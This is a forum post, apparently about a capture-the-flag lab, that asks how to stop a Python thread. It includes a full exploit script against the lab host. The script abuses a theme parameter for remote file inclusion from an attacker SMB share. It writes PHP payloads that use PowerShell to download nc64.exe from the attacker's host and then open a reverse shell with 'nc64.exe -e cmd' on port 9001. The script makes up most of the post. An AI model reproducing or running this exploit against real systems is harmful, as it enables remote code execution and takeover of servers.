I am trying to exit() from a thread when a condition is met. However, I can seem to figure out how to stop the thread when this condition is met:
exploit_threads[len(exploit_threads) -1].stop()
This is throwing me an exception. I guess I need some sort of static call but not sure how I can achieve this. Full code:
#!/usr/bin/env python3
import sys
import requests
import random
import threading
base_url = 'http://10.10.10.231/licenses'
credentials = { 'username': '', 'password': '' }
payload = "?theme=//{}/rekt&h=b3f129945f358c3d9168614c18a893c8".format(sys.argv[1])
threads = []
exploit_threads = []
status = False
def payload_one():
while(True):
w = open('smb/header.inc', 'w')
w.write("<?php echo 'jaquarh'; system('cmd /c powershell iwr http://{}/nc64.exe -outf \windows\system32\spool\drivers\color\nc64.exe'); ?>".format(sys.argv[1]))
w.close()
def payload_two():
while(True):
w = open('smb/header.inc', 'w')
w.write("<?php echo 'jaquarh'; system('cmd /c start \windows\system32\spool\drivers\color\nc64.exe -e cmd {} 9001'); ?>".format(sys.argv[1]))
w.close()
def login():
req = requests.session()
req.post(url="{}/index.php".format(base_url), data=credentials)
req.get(url = "{}/licenses.php".format(base_url))
return req
def start():
status = False
req = login()
while(status == False):
if 'jaquarh' in req.get(url="{}/licenses.php{}".format(base_url, payload)).text:
print('Successfully injected payload contained in header.inc')
status = True
exploit_threads[len(exploit_threads) -1].stop()
exploit_threads.append(threading.Thread(target = payload_two))
exploit_threads[len(exploit_threads) -1].start()
while(status):
if 'jaquarh' in req.get(url="{}/licenses.php{}".format(base_url, payload)).text:
print('Successfully injected second payload contained in header.inc')
exit()
exploit_threads.append(threading.Thread(target = payload_one))
exploit_threads[len(exploit_threads) -1].start()
for i in range(0, 5):
threads.append(threading.Thread(target = start))
threads[len(threads) -1].start()
File "/home/kali/tools/labs/Proper/./Proper.py", line 43, in start exploit_threads[len(exploit_threads) -1].stop() AttributeError: 'Thread' object has no attribute 'stop'
Any ideas how I can kill this thread?